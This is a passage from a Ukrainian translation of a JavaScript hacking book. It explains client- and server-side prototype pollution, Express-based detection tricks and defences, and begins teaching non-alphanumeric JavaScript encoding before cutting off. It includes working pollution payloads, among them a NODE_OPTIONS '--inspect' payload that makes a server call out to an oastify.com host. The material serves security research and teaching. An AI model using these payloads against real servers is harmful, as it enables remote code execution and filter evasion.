Зазвичай ви не можете встановити звичайну властивість під назвою __proto__, оскільки, як згадувалося, це дійсно геттер/сеттер. Однак при використанні JSON.parse створюється звичайна властивість, якщо ви використовуєте властивість __proto__, це є одним з компонентів, який може призвести до prototype pollution. Це можна продемонструвати за допомогою наступного коду:

Рисунок 107. Фрагмент коду, що показує, як __proto__ поводиться по-іншому при використанні його з JSON.parse()

```
1 ({__proto__:"foo"}).hasOwnProperty('__proto__')//false
2 (JSON.parse('{"__proto__":"foo"}')).hasOwnProperty('__proto__')//true
```

Коли уразлива функція злиття перераховує об'єкт, через те, що __proto__ є звичайною властивістю, це дозволяє його використовувати, але важливо, що коли намагаються присвоїти його, він знову стає сеттером на цільовому об'єкті, і це спричиняє забруднення прототипу. Варто зазначити, що __proto__ не єдиний вектор атаки, він найпоширеніший, але є альтернатива. __proto__ фактично є скороченням до constructor.prototype, і якщо рекурсивне злиття дозволяє використовувати багато властивостей, тоді ви можете використовувати властивості constructor.prototype, щоб також викликати забруднення прототипу. Тепер, коли ми розглянули основи того, як це відбувається, давайте подивимося, як цим можна скористатися.

6.1.1: Техніка

Техніка відноситься до способу забруднення прототипу. Наприклад, ви використовуєте __proto__ або constructor.prototype чи іншу нову техніку.

6.1.2: Джерело

Джерело забруднення прототипу - це ін'єкція, необхідна для спричинення забруднення прототипу. Це складається з техніки, імені властивості та місця, звідки вона походить, наприклад, JSON, рядок запиту або хеш. Коли всі ці компоненти зібрані разом, я називаю це джерелом забруднення прототипу:

?__proto__[property]=value

6.1.3: Гаджет

Гаджет означає, що властивість, яку ви забруднили, використовується десь цікаво, наприклад у функції eval або іншому методі чи присвоєнні, що може призвести до уразливості. Властивість стає гаджетом, коли вона досягає уразливого місця.

6.1.4: Потенційний гаджет

Якщо ви знайшли властивість, яку можна контролювати через забруднення прототипу, але ще не визначили, чи досягає вона відповідного місця, тоді це можна назвати потенційним гаджетом забруднення прототипу.

6.2: Забруднення прототипу на стороні клієнта

Існує дві форми забруднення прототипу: на стороні клієнта та на стороні сервера. Цей розділ стосується форми на стороні клієнта. Мета експлуатації забруднення прототипу на стороні клієнта зазвичай полягає в DOM XSS. Ви перевіряєте, чи дозволяє сайт додавати властивості до прототипу Object, а потім перевіряєте, чи досягає властивість уразливого місця, що призводить до контролю над довільним JavaScript або HTML.

6.2.1: Пошук забруднення прототипу

Тепер, коли ми визначили терміни, можемо почати шукати забруднення прототипу. Ви можете зробити це, просто ввівши вектор, а потім використати консоль браузера, щоб підтвердити, що це спрацювало. Наприклад, уявімо, що сайт дозволяє використовувати імена властивостей та значення в рядку запиту і має уразливу операцію злиття в бібліотеці, яку вони використовують. Ви можете ввести пробу в рядок запиту, яка намагатиметься встановити властивість на прототипі Object:

?__proto__[foo]=bar

Потім після завантаження сторінки ви можете використати консоль браузера, щоб перевірити прототип Object:

Рисунок 108. Використання консолі для перевірки Object.prototype

```
console.log(Object.prototype)
//{foo: 'bar', constructor: ƒ, __defineGetter__: ƒ, __defineSetter__: ƒ, hasOwnPrope\
rty: ƒ, …}
```

Якщо в прототипі об'єкта міститься ваша властивість foo, то ви успішно знайшли забруднення прототипу на стороні клієнта. Використання властивості __proto__ не є єдиним способом виявлення забруднення прототипу, ви можете використовувати властивості constructor[prototype], що по суті є тим самим, хоча це менш поширено, ніж властивість __proto__, оскільки це вимагає трьох ключів властивості, а часто сайти зазвичай використовують два. Щоб перевірити це, ви можете дотримуватися того ж процесу, просто замініть __proto__ на constructor[prototype]:

?constructor[prototype][foo]=bar

Це призводить до маніпуляції прототипом об'єкта за умови, що сайт вразливий до цієї техніки:

Рисунок 109. Показ прототипу Object.prototype після забруднення

```
console.log(Object.prototype)
//{foo: 'bar', constructor: ƒ, __defineGetter__: ƒ, __defineSetter__: ƒ, hasOwnPrope\
rty: ƒ, …}
```

Різні бібліотеки по-різному аналізують рядок запиту. Я зустрічав сайти, які використовують крапки в рядку запиту. Щоб перевірити це, просто видаліть квадратні дужки і додайте крапки для доступу до різних ключів властивостей:

?__proto__.foo=bar

Варто також перевірити хеш, я бачив сайти, які аналізують хеш як параметри запиту. Якщо ви спробуєте кожну комбінацію з обома рядком запиту та хешем, то це повинно виявити 99% вразливостей забруднення прототипу на стороні клієнта.

6.2.2: Модифікація вбудованих методів

Коли сайт вразливий до забруднення прототипу, ви не обмежені лише маніпулюванням прототипом об'єкта, вам навіть не потрібно додавати властивість. Ви можете змінити один із вбудованих методів глобального об'єкта або інших. Наприклад, уявіть, що сайт використовує метод Object.keys, цілком можливо перезаписати цей метод, використовуючи джерело забруднення прототипу. Атака може виглядати наступним чином:

?__proto__[keys]=0//Object.keys === ”0”

Це видаляє функціональність методу, призначаючи його рядку. На практиці цей вид атаки важко експлуатувати, оскільки ви не можете надати свою власну функцію, обмежуючись рядками або типами, які підтримуються JSON. Однак, ви можете використовувати цю техніку як частину ланцюга помилок, який може відвести вас на інший шлях виконання коду.

6.2.3: Вбудовані API браузера

Досить несподівано, самі вбудовані API браузера вразливі до забруднення прототипу там, де API дозволяє вам використовувати об'єктний літерал як аргумент (що часто буває з конфігурацією), ви можете часто використовувати забруднення прототипу для впливу на значення. Один із прикладів - це функція fetch(), перший параметр якої приймає рядок або об'єкт запиту, а другий параметр приймає об'єкт опцій. Якщо сайт не включає одну з властивостей об'єкта запиту або об'єкта опцій, ви можете використовувати забруднення прототипу, щоб вплинути на них. Як завжди, це найкраще ілюструється прикладом:

Рисунок 110. Забруднення вбудованих об'єктів, таких як Request

```
Object.prototype.body='foo=bar'
const request = new Request('/myEndpoint', {
  method: 'POST',
});
fetch(request);
```

Код вище використовує об'єкт Request для побудови запиту, який буде відправлений до функції fetch(), оскільки об'єкт Request не визначає властивість body; можливо контролювати цю властивість, використовуючи успадковану властивість через забруднення прототипу. Коли POST-запит буде надіслано, він матиме тіло POST-запиту з foo=bar. Точно така ж техніка може бути використана з другим параметром функції fetch():

Рисунок 111. Забруднення нативних об'єктів, таких як Request

```
Object.prototype.body='foo=bar';
const init = {
  method: 'POST'
};
fetch('/end-point', init)
```

Будь-який API, що використовує об'єкти, які контролюються користувачами, вразливий до цього, за умови, що він успадковує властивості. Ви навіть можете надсилати власні заголовки:

Рисунок 112. Забруднення ініціалізаційного об'єкта fetch

```
Object.prototype.headers={foo:'bar'};
const init = {
  method: 'POST',
};
fetch('/end-point', init)
```

Наведений вище приклад відправляє заголовок під назвою “foo” зі значенням “bar”. Ці техніки корисні в ланцюгах багів, де у вас є забруднення прототипу, але немає DOM XSS. Ви можете використовувати цю техніку, щоб з’єднати забруднення прототипу з CSRF через fetch() або інші вразливості.

Інші місця, вразливі до забруднення прототипу, включають методи ES5, такі як defineProperty(). Викликаючи цю функцію, ви вказуєте цільовий об’єкт у першому параметрі, другий параметр приймає ім’я властивості, а третій дозволяє використовувати дескриптор (який є просто буквальним об’єктом). Цей буквальний об’єкт може бути забруднений, і оскільки деякі властивості є необов’язковими й за замовчуванням встановлені у false, якщо не визначені, це створює ідеальні умови для забруднення прототипу.

Давайте подивимося на деякий приклад коду, ось як використовувати цю функцію:

Рисунок 113. Показує, як використовувати defineProperty()

```
let obj = {};
Object.defineProperty(obj, 'foo', {configurable:false, writable: false, value:123});
```

У наведеному вище прикладі ми визначаємо властивість під назвою “foo” і робимо її такою, що не конфігурується, тобто ви не можете перевизначити цю властивість за допомогою defineProperty(). Записуваний вказує на те, що його значення не може бути перезаписане. Як уже згадувалося, ці властивості є необов’язковими, що означає, що за замовчуванням вони мають значення false. Давайте ще раз подивимося на приклад коду з пропущеними властивостями в дескрипторі:

Рисунок 114. Показано, як defineProperty() робить foo тільки для читання

```
let obj = {};
Object.defineProperty(obj, 'foo', {value:123});

obj.foo//123
obj.foo=0;
obj.foo//123
```

Тому що ми пропустили конфігуровану та записувану властивість вище, JavaScript рушій припускає, що вони призначені бути false, однак, як ми бачили з fetch(), ці властивості можуть наслідуватися. Це означає, що ми фактично можемо змінити поведінку defineProperty() через забруднення прототипу:

Рисунок 115. Демонстрація того, що використання забруднення прототипу може призвести до перезапису властивостей

```
Object.prototype.configurable=true;
Object.prototype.writable=true;

let obj = {};
Object.defineProperty(obj, 'foo', {value:123});

obj.foo//123
obj.foo='overwritten';
obj.foo//overwritten
```

Як ми бачимо вище, поведінка визначеної властивості змінилася, тепер можна перезаписати значення, незважаючи на пропущені властивості в дескрипторі. Це дійсно виглядає як проблема зі специфікацією, оскільки успадковані властивості не повинні використовуватися при використанні нативних API, оскільки це може призвести до забруднення прототипу. Я сумніваюся, що це буде виправлено, оскільки успадкування є ядром JavaScript.

Існують й інші місця, де це відбувається, ви можете забруднювати пастки проксі, але оскільки вони вимагають функції, шкода обмежується викиданням виключень JavaScript.

Навіть localStorage вразливий до цієї техніки, за умови, що сайт використовує форму геттера, а не метод getItem(). Часто розробники використовують форму геттера, як localStorage.foo, тому що це дуже зручно, але це буде успадковувати від прототипу Object, і тому ви можете керувати властивістю через забруднення прототипу, таким чином, ви б мали потенційний гаджет.

Рисунок 116. Показано, що localStorage може бути вразливим до забруднення прототипу

```
if(localStorage.foo) {
   let foo = localStorage.foo;
}
```

Приклад вище створює потенційний гаджет під назвою “foo”. Оскільки код перевіряє наявність властивості “foo” і використовує геттер у кожному випадку, це може бути забруднене.

6.2.4: Пошук гаджетів

Отже, ви знайшли потенційний гаджет і маєте забруднення прототипу, як можна визначити, чи є гаджети реальними? Перш за все, вам потрібно спочатку виконати деякий JavaScript перед тим, як сторінка виконає свій. Ви можете зробити це, використовуючи проксі, такий як Burp, і додавши оператор відладчика перед виконанням будь-якого іншого коду. Оператор відладчика - це спеціальна команда JavaScript, яка викликає відладчик JavaScript

(зазвичай Devtools), коли досягається оператор відладчика, виконання JavaScript буде призупинено в точці, де зустрічається оператор, і тоді ви зможете ввести свій власний JavaScript, використовуючи відладчик. Щоб визначити, чи є ваш потенційний гаджет реальним гаджетом, ви можете використовувати метод Object.defineProperty(), щоб виявити, де використовується властивість. Ви можете викликати цей метод і робити трасування стеку кожного разу, коли геттер для властивості доступний:

Рисунок 117. Як використовувати defineProperty для тестування потенційного гаджета

```
Object.defineProperty(Object.prototype,'potentialGadget', {__proto__:null, get(){
    console.trace();
    return 'test';
}})
```

Використовуючи стек трасування, ви можете визначити частину вихідного коду, яка використовує цю властивість, і побачити, чи потрапляє значення в уразливе місце. Існують інструменти, які автоматизують цей процес. Я написав інструмент під назвою DOM Invader, який може виявляти джерела та гаджети для забруднення прототипів. Це розширення для браузера, яке є частиною вбудованого браузера в Burp Suite.

6.3: Серверне забруднення прототипів

Клієнтське забруднення прототипів досить легко виявити, оскільки у вас є вихідний код, тоді як серверне набагато складніше, тому що забруднення відбувається на сервері, і зазвичай ви не матимете доступу до вихідного коду. Проблема погіршується, коли мова йде про DoS. Якщо DoS відбувається на клієнтській стороні, ви можете оновити браузер, і все знову працюватиме, тоді як якщо DoS відбувається на серверному рівні, додаток може бути зламаним і недоступним для вас або інших користувачів, і часто єдиним рішенням є перезапуск процесу Node.

Якщо у вас є вихідний код, все набагато простіше. Ті ж принципи застосовуються до серверного забруднення прототипів, у вас все ще є техніка, джерело та гаджет. Ви можете навіть застосувати той самий спосіб виявлення, чи було забруднення прототипів успішним, використовуючи консоль браузера, за умови, що ви маєте контроль над процесом Node і хостите додаток самостійно. Існують два важливі прапори командного рядка для Node, які є надзвичайно важливими:

1. –inspect
2. –inspect-brk

Перша опція дозволяє вам використовувати devtools для налагодження додатка Node, просто додайте прапор командного рядка при запуску додатка:

node –inspect your-app.js

Потім ви можете використовувати Chrome для налагодження Node, відвідавши: chrome://inspect/

Якщо ви правильно запустили процес Node, ви побачите віддалену ціль. Ви можете дослідити цю ціль і мати доступ до консолі. Як і на клієнтській стороні, ви можете використовувати консоль для дослідження Object.prototype. Стек трасування навіть працює, і ви можете отримати точну лінію, де властивість доступна, використовуючи техніку Object.defineProperty(), обговорену раніше в розділі.

Іноді вам може знадобитися налагодити частину додатка, яка вже виконалася, і тому налагоджувач пройшов повз частину, яку ви хочете налагодити. Тут корисний другий прапор командного рядка –inspect-brk, який інструктує процес Node призупинитися перед виконанням додатка, що дуже зручно при пошуку гаджетів у додатках Node. Ви можете знову використовувати Chrome за тією ж URL-адресою, як згадано раніше, потім ви можете використовувати налагоджувач для крокового або відновлення виконання, навіть додати власні точки зупинки.

Використання пошуку по всьому сайту в devtools також дуже корисне для тестування. Як тільки у вас відкрита віддалена консоль, як було вказано раніше, ви можете виконати пошук по всіх додатках Node, що працюють. Натисніть на три точки на правій стороні вікна devtools і виберіть опцію пошуку. Ви можете використовувати це для пошуку потенційних гаджетів. Поєднання цього з технікою defineProperty(), згаданою раніше, має допомогти їх ідентифікувати.

6.3.1: Виявлення SSPP за методом чорної скриньки

Існують різні техніки для виявлення SSPP (серверне забруднення прототипів) за методом чорної скриньки. Найкраща техніка – використовувати функціональність --inspect у Node. Прапор командного рядка inspect дозволяє вам вказати хост для віддаленої сесії налагодження з сервером. Це чудово з двох причин: 1) Ви можете отримати зворотній зв'язок до сервера, який ви контролюєте, і 2) Inspect за дизайном дозволяє вам виконувати довільний JavaScript на сервері. Ви можете використовувати інструменти, такі як Burp Collaborator, який повідомить вам, якщо взаємодія була здійснена, що майже гарантує наявність забруднення прототипів. Я розробив цю техніку, читаючи чудову статтю про експлуатацію забруднення прототипів від Mikhail Shcherbakov, Musard Balliu & Cristian-Alexandru Staicu[1].

Коли певні місця виконуються в Node, їм необхідно передати NODE_OPTIONS, які є змінними середовища, що використовуються при виконанні команди. Це також вразливе до забруднення прототипів, що означає, що ви можете контролювати прапори командного рядка, відправлені до процесу Node. Ін'єкція виглядає так:

[1] https://arxiv.org/pdf/2207.11171.pdf

```
{
  "__proto__": {
    "argv0":"node",
    "shell":"node",
    "NODE_OPTIONS":"--inspect=id.oastify.com"
  }
}
```

У наведеному вище прикладі я забруднюю властивість NODE_OPTIONS, що дозволяє мені отримати контроль над прапором inspect. Властивості arg0 та shell використовуються для виконання оболонки, як описано в попередній статті. Зверніть увагу, що ви не можете передавати прапори командного рядка безпосередньо оболонці, саме тому потрібно використовувати гаджет NODE_OPTIONS. Якщо відбувається забруднення прототипу і викликається небезпечний приймач, ви повинні отримати взаємодію з хостом, який ви вказуєте у прапорі inspect. Це працює чудово, але якщо сервер аналізує JSON і шукає хости в даних, ви отримаєте деякі хибні спрацьовування. Щоб обійти це, вам просто потрібно заплутати хост, це можна зробити за допомогою подвійних лапок. Причина, чому я їх використовую, полягає в тому, що це працює на всіх ОС і запобігає отриманню хоста сканерами.

```
{
  "__proto__": {
    "argv0":"node",
    "shell":"node",
    "NODE_OPTIONS":"--inspect=id\"\".oastify\"\".com"
  }
}
```

Попередній приклад чудово працює, коли викликається небезпечний “sink”. Але що робити, коли додаток вразливий до забруднення прототипів, і ви ще не можете знайти небезпечний “sink”? Вам потрібні деякі тонкі способи виявлення цього без зупинки сервера.

Я написав статтю, в якій висвітлив, як виявити забруднення прототипів без DoS-атаки на сервер[2]. Один з прикладів, який я наводжу в статті, - це використання властивості status. Ця властивість дозволяє контролювати статус-код при здійсненні некоректного запиту до сервера Express. Ідея полягає в тому, щоб змінити цю властивість на малоймовірний статус-код, наприклад, 510. Тоді ви робите некоректний запит (наприклад, некоректний JSON). Сервер відповість кодом 510, що вказує на успішність операції. Ви також можете скинути статус-код, щоб переконатися, що додаток не зламається.

Перший крок – відправити некоректний JSON і спостерігати за відповіддю:

[2] https://portswigger.net/research/server-side-prototype-pollution

```
{,}
```

З Express стандартною відповіддю має бути 400 Bad Request. Тепер ви надсилаєте ваш прототипний вектор забруднення:

```
{
    "__proto__":{
       "status": 510
    }
}
```

Потім ви знову надсилаєте недійсний JSON запит і спостерігаєте за відповіддю:

```
{,}
```

Якщо сервер відповідає з кодом 510 Not Extended, то ваш вектор був успішним. Ці два вектори найбільш корисні для автоматизованого сканування і пропонують найчистіший спосіб виявлення SSPP, який я знаю.

6.3.2: Ручне тестування на забруднення прототипу на стороні сервера

У випадках, коли автоматизація складна, ви можете захотіти вручну перевірити на забруднення прототипу. Раніше згадані вектори підходять і для цього, але є деякі методи, які особливо підходять для ручного тестування.

6.3.2.1: Зміна ліміту параметрів

Express дозволяє контролювати максимальну кількість дозволених параметрів, які допускаються додатком. Я виявив, що цей ліміт можна змінити через забруднення прототипу. Це чудово підходить для ручного зондування, оскільки ви можете встановити великий ліміт і не впливати на загальне використання додатку. Ідея полягає в тому, щоб відправити зонд параметрів, один з яких відображається:

```
/?a=1&b=1&c=1&d=1&e=1&f=1&g=1&h=1&i=1&j=1&k=1&l=1&m=1&n=1&o=1&p=1&q=1&r=1&s=1&t=1&u=\
1&v=1&w=1&x=1&y=1&z=1&targetParam=reflected
```

Потім виконуєте прототипне забруднення з використанням властивості. Якщо властивість не відображається після забруднення, то сайт може бути вразливим.

```
{
    "__proto__":{
        "parameterLimit":26
    }
}
```

У попередньому прикладі я використовую ліміт 26, тому що я використовував літери алфавіту, але ви можете вибрати будь-яку кількість параметрів, головне, щоб вона була достатньо великою, щоб не впливати на нормальну роботу додатку.

Ви можете скинути значення назад до 1000, що, як я думаю, є значенням за замовчуванням, використовуючи прототипне забруднення.

```
{
    "__proto__":{
        "parameterLimit":1000
    }
}
```

Добре повернути оригінальне значення назад з двох причин: по-перше, тому що сайт може бути модифікований для використання великої кількості параметрів і вони будуть очікувати значення за замовчуванням, а по-друге, тому що це допомагає зменшити хибнопозитивні результати з балансувальниками навантаження та кешуванням.

6.3.3: Використання знаків питання в параметрі

Як і параметр limit, це також інша опція Express, яка дозволяє ігнорувати знак питання в імені параметра. Це чудово для забруднення прототипу, тому що подвійний знак питання навряд чи зустрінеться в імені параметра зазвичай. Крім того, це може бути використано для отруєння кешу, поєднуючи з забрудненням прототипу, тому що ви можете контролювати параметр, який додаток не очікує, і отримати значення кешованим. Тоді ви можете доставити кешовану URL-адресу жертві.

Щоб використовувати цю опцію, вам спочатку потрібен параметр, який відображається знову, потім ви виконуєте забруднення прототипу:

```
{
    "__proto__":{
        "ignoreQueryPrefix":true
    }
}
```

Після того як ви здійснили атаку на забруднення прототипу, вам слід перевірити, чи було параметр відображено додатком при використанні дубльованих знаків питання:

```
??targetParam=reflected
```

Якщо ваш параметр все ще відображається, то ваша атака спрацювала. Має сенс знову вимкнути опцію, з причин, зазначених раніше. Виконайте прототипне забруднення, але використовуйте false замість true:

```
{
    "__proto__":{
        "ignoreQueryPrefix":false
    }
}
```

Якщо ваш параметр зараз не відображається, це є сильним показником забруднення прототипу.

6.3.4: Перетворення параметрів у об'єкти JavaScript

Остання опція Express, яку я збираюся продемонструвати, це опція "allowDots", яка дозволяє вказувати властивості в рядку запиту, і значення перетворюється на об'єкт JavaScript! Це може бути дуже корисним для комбінування вразливостей у ланцюг для експлуатації додатку, який очікує об'єкт, використовуючи певні параметри.

Знову ж таки, це вимагає відображення параметра в додатку. Перший крок — перевірити, чи відображається ваш параметр:

```
?foo=123
```

Потім ви додаєте властивість до параметра, наприклад:

```
?foo.bar=baz
```

Цього разу значення вашого параметра тепер не визначено. Тепер вам потрібно виконати забруднення прототипу, щоб змінити параметр Express:

```
{
    "__proto__":{
        "allowDots":true
    }
}
```

Після атаки вам потрібно знову перевірити відображення параметра:

```
?foo.bar=baz
```

Цього разу відображається значення toString() JavaScript об'єкта!

```
HTTP/1.1 200 OK
foo=[object Object]
```

Як і раніше, ви можете видалити цю опцію, щоб перевірити зміни в поведінці сервера, і у вас буде забруднення прототипу. Ці ручні техніки дуже корисні, оскільки вони не спричиняють DoS серверу (якщо бути обережним) і забезпечують надійне виявлення. Однак, оскільки ландшафт JavaScript дуже швидко змінюється, опції Express були виправлені. Ці техніки можуть все ще працювати в дикій природі на старіших версіях Express. Однак моя надія, що, документуючи ці техніки, ви знайдете свої власні, оскільки досить складно досліджувати сервер, який може мати забруднення прототипу, якщо у вас немає надійних технік, які тонко змінюють поведінку додатку. Сподіваюся, я надихнув вас знайти більше.

6.3.5: Захист

Захист від забруднення прототипу досить простий. Просто уникайте використання об'єктів як Maps. Замість цього використовуйте об'єкти Map і Set для безпечної перевірки властивостей без забруднення прототипу. Припустимо, у вас є список дозволених значень для якогось санітайзера форми. У цьому випадку краще використовувати об'єкт Set замість звичайного об'єкта. Ось як його використовувати:

```
let allowedTags = new Set();
allowedTags.add('b');
if(allowedTags.has('b')) {
   //
}
```

У наведеному вище прикладі ми створюємо новий об'єкт Set і додаємо до нього тег bold. Тепер, щоб перевірити, чи дозволено bold у нашому списку дозволених, ми використовуємо метод has(). Це забезпечує перевірку лише цього значення, і метод has не перевіряє ланцюг прототипів, тому не є вразливим до забруднення прототипу.

Якщо вам знову потрібна пара ключ/значення, не використовуйте звичайний об'єкт! Замість цього використовуйте об'єкт Map:

```
let options = new Map();
options.set('foo', 'bar');
console.log(options.get('foo'))//bar
```

Коли викликається метод get() об'єкта Map, це знову ж таки не використовує прототипний ланцюг і тому, як і Set, не вразливе до забруднення прототипу. Якщо ви використовуєте описані методи, ви будете в безпеці, однак я помітив дуже поганий код у мережі, який використовує Map або Set без використання цих методів! Це дуже погано, і якщо ви створюєте Map/Set, читаючи або призначаючи властивості до нього, ви будете вразливі до забруднення прототипу, тому не робіть цього.

Існує спосіб захистити Node від забруднення прототипу. Важливе слово тут - захистити. Ви можете повністю видалити властивість __proto__ за допомогою командного рядка або змінної середовища. Це робить атаки забруднення прототипу з __proto__ неефективними. Однак, атаки на основі конструктора все ще можливі, тому не отримуйте помилкове відчуття безпеки, використовуючи цей варіант. Щоб використовувати його, передайте цю команду Node:

```
node --disable-proto=delete app.js
```

Нарешті, у вас може бути застарілий додаток, який використовує звичайні об'єкти як карту. У цьому випадку і тільки в цьому випадку ви можете використовувати null прототип, щоб гарантувати, що об'єкт не наслідується від прототипу Object. Не пишіть новий код, використовуючи це, оскільки властивість __proto__ може бути видалена в майбутньому.

```
Object.prototype.x=123
let optionsObject = {__proto__:null};
console.log(optionsObject.x);//undefined
```

У попередньому прикладі ми використовуємо нульовий прототип, що означає, що об'єкт не матиме успадкованих властивостей, навіть таких, як toString(). Якщо вам все ще потрібен об'єкт і ви хочете уникнути використання __proto__, ви можете використати метод create() на глобальному конструкторі Object. Це створить об'єкт з нульовим прототипом, якщо ви передасте йому null:

```
Object.create(null)
```

6.4: Підсумок

У цьому розділі ми ознайомили вас з прототипним забрудненням, визначили, що таке техніка, джерело та гаджет. Ми показали, як знайти прототипне забруднення і як ви можете модифікувати рідні функції, використовуючи вразливість прототипного забруднення. Потім ми обговорили, як навіть рідні API JavaScript можуть бути вразливими до прототипного забруднення при використанні об'єктів у їх параметрах. Ми показали, як вручну знайти потенційні гаджети, а потім перейшли до прототипного забруднення на стороні сервера, як налагоджувати додатки node та використовувати ті ж самі техніки, що й на стороні клієнта, і продемонстрували кілька автоматизованих та ручних методів для виявлення прототипного забруднення. Нарешті, ми розглянули захист і як писати код, який не вразливий до SSPP.

7: Розділ сьомий - Неалфавітний джаваскріпт

7.1: Написання неалфавітного джаваскріпту

Все почалося, коли користувачі форуму “slackers” помітили новий дивовижний пост від Йосуке Хасегави, видатного японського дослідника безпеки. У цьому пості він детально описав, як можна виконувати джаваскріпт без використання алфавітних символів. Це було одкровенням для всіх нас, і ми почали розбирати, як це працює. Основна ідея полягала в тому, щоб використовувати квадратні дужки та вирази джаваскріпту для створення рядків, а потім використовувати числові індекси, також засновані на виразах, щоб отримувати та об’єднувати рядки для створення дійсних імен властивостей і, врешті-решт, написання довільного джаваскріпту без алфавітних символів. Це також стало відомо як JSF*ck (я замінив букву “u”, щоб у цій книзі не було лайливих слів). Надалі я буду називати це “неалфавітний” джаваскріпт або неалфа JS. Щоб створити неалфа JS, спочатку потрібно знайти спосіб генерації числа, і оскільки джаваскріпт є слаботипізованою мовою, це можна зробити за допомогою інфіксного оператора “+”, цей оператор спробує перетворити вираз, що йде після нього, на число або NaN (Не число), якщо його не можна перетворити. Тож перший крок - отримати нуль:

Рисунок 118. Показано, як порожній масив можна перетворити на нуль

```
+[]//0
```

Чудово, отже, у нас є нуль, але це дозволить нам отримати лише перший символ рядка:

Рисунок 119. Доступ до першого символу рядка

```
'abc'[+[]]//a
```

Але як отримати “b”? Ну, ви можете поєднати оператор доступу квадратними дужками з масивом і отримати посилання на елемент у масиві, і JavaScript дозволяє збільшувати/зменшувати це значення так само, як це було б з ідентифікатором:

Рисунок 120. Як використовувати хак інкрементації для отримання інших чисел

```
[+[]]//creates an array with 0 in it

[+[]][+[]]//gets the first element in the array

++[+[]][+[]]//increments the first element in the array to create 1

'abc'[++[+[]][+[]]]//combines all the above to access b
```

Сподіваюся, ви слідкуєте за матеріалом. Можливо, варто спробувати кожен окремий фрагмент коду та оцінити його в консолі, щоб зрозуміти, що відбувається. Як тільки ви засвоїте цю концепцію, ви зможете почати легко генерувати рядки та числа. Вам просто потрібно вкладати згенеровані масиви та постійно їх збільшувати і конкатенувати літери, щоб утворити властивості JavaScript. Давайте згенеруємо число два, я буду використовувати пробіли, щоб допомогти розрізнити кожне число:

Рисунок 121. Отримання числа два

```
++[ ++[+[]][+[]] ] [+[]]//2
```

Зазвичай, ви не використовували б пробіли. Я просто додав їх, щоб було легше слідкувати. Отже, як ви бачите з наведеного вище коду, ви створюєте масив з +[], в якому є нуль, потім ви знову звертаєтеся до першого елемента в масиві за допомогою +[], а потім використовуєте оператор інкременту, щоб збільшити число, після чого ви обгортаєте це в інший масив і дотримуєтеся того ж процесу. Це стає складніше для читання, коли ви вкладаєте все далі й далі, але як тільки ви зрозумієте концепцію, ви зможете написати це.

Тепер ми можемо отримати “c” у нашому тексті:

Рисунок 122. Отримання символу c

```
'abc'[++[ ++[+[]][+[]] ] [+[]]]
```

Отже, ми маємо основи генерації чисел без алфавітно-цифрових символів, але як генерувати рядки? Ми знову скористаємося слабко типізованою природою JavaScript для перетворення різних типів у рядки. Наприклад, розглянемо булеві значення: ми можемо витягнути символи “f”, “a”, “l”, “s”, “e” з false, і ми можемо зробити подібний процес, як для чисел, але цього разу ми використаємо логічний оператор not. Цей оператор повертає false, якщо операнд може бути перетворений на true, і навпаки. Це означає, що ми можемо знову використати порожній масив і перетворити його на булеве значення:

Рисунок 123. Виробництво false

```
![]//false
```

Коли у нас є булевий значення, нам потрібно конвертувати його в рядок, щоб ми могли витягти необхідні символи. Для цього ми просто конкатенуємо його з іншим масивом, який утворює рядок із булевим значенням та порожнім масивом, який перетворюється на порожній рядок:

Рисунок 124. Створення рядка false

```
1 ![]+[]//false (string)
```

Отже, тепер у нас є наші символи, але як їх витягти? Ми можемо слідувати тому ж процесу, що й раніше: ми можемо помістити вираз всередину масиву і отримати перший елемент у масиві (наш рядок), а потім використати індекс, щоб отримати окремий символ:

Рисунок 125. Отримання символу f з false

```
1 [![]+[]]//add the false string to an array
2 [![]+[]][+[]]//get the first item of the array
3 [![]+[]][+[]][+[]]//f - get the first character of the string
```

Ви можете дотримуватися цього процесу для решти символів і просто збільшувати індекси, як ми робили для збільшення чисел. Найпростіший спосіб зробити це - позначити ваші вирази коментарями, як я це робив, і потім об'єднати їх, тому нам потрібен наступний символ, який знаходиться на першій позиції. Якщо ви перейдете до ƒрагменту коду для одиниці та скопіюєте його, як показано нижче:

Рисунок 126. Отримання числа один

```
1 ++[+[]][+[]]//1
```

Тоді отримайте хибний рядок з іншого прикладу:

Рисунок 127. Отримання хибного рядка

```
1 [![]+[]][+[]]//false (string)
```

Потім об'єднайте їх разом, спочатку з хибним рядком і акцесором, що містить число:

Рисунок 128. Отримання символу a

```
1 [   ![]+[]]   [+[]]    [   ++[+[]][+[]]    ]//a
```

Я додав пробіли вище для ясності. Коли ви збираєте символи, доцільно зберігати їх у текстовому файлі з коментарями, які показують, що вони представляють; це полегшує створення рядків з них. Сподіваюся, на цей момент ви досить впевнені у створенні цих символів. Продовжимо і створимо решту символів для false.

Рисунок 129. Отримання символу l

```
[   ![]+[]]   [+[]]    [   ++[++[+[]][+[]]][+[]]    ]//l
```

Ви можете побачити, що я зробив вище. Я просто змінив частину доступу в попередньому фрагменті коду, щоб знову збільшити число. Я обгорнув його в масив, отримав перший елемент масиву і збільшив число. Ви можете зробити те ж саме для інших символів:

Рисунок 130. Отримання символів s та e

```
[   ![]+[]]   [+[]]    [   ++[++[++[+[]][+[]]][+[]]][+[]]    ]//s
[   ![]+[]]   [+[]]    [   ++[++[++[++[+[]][+[]]][+[]]][+[]]][+[]]    ]//e
```

Як ви можете бачити вище, порівнюючи символи “s” і “e”, для їх створення потрібна лише незначна модифікація. Насправді, ми можемо використовувати весь цей процес для створення протилежного до true, що є false. Врешті-решт, це книга про хакерство в JavaScript, і ми повинні шукати ярлики. Тож пам’ятайте, коли ми виявили, що ![] генерує false? Якщо ми знову використаємо логічний оператор заперечення, він перетворить це на true:

Рисунок 131. Генерація true

```
!![]//true
```

Ми просто замінюємо одинарний знак оклику в кожному прикладі коду, який ми раніше створили, на подвійний, наприклад:

```
[![]+[]][+[]][+[]]//f
```

стає

```
[!![]+[]][+[]][+[]]//t
```

І так далі:

```
[   !![]+[]]   [+[]]    [   ++[+[]][+[]]    ]//r
[   !![]+[]]   [+[]]    [   ++[++[+[]][+[]]][+[]]    ]//u
```

У нас вже є “e”, тому нам не потрібно генерувати це знову. Тепер ви можете побачити, як легко генерувати символи. Можливо, ви думаєте, як можна генерувати довільний JavaScript. Спочатку вам потрібно отримати доступ до функції, і для цього потрібно згенерувати деякі символи, які при використанні як доступ до функції отримують цю функцію, а потім ви можете використовувати цю функцію, щоб отримати її конструктор, який буде конструктором функцій, бачите, до чого це йде? Як тільки ви отримаєте доступ

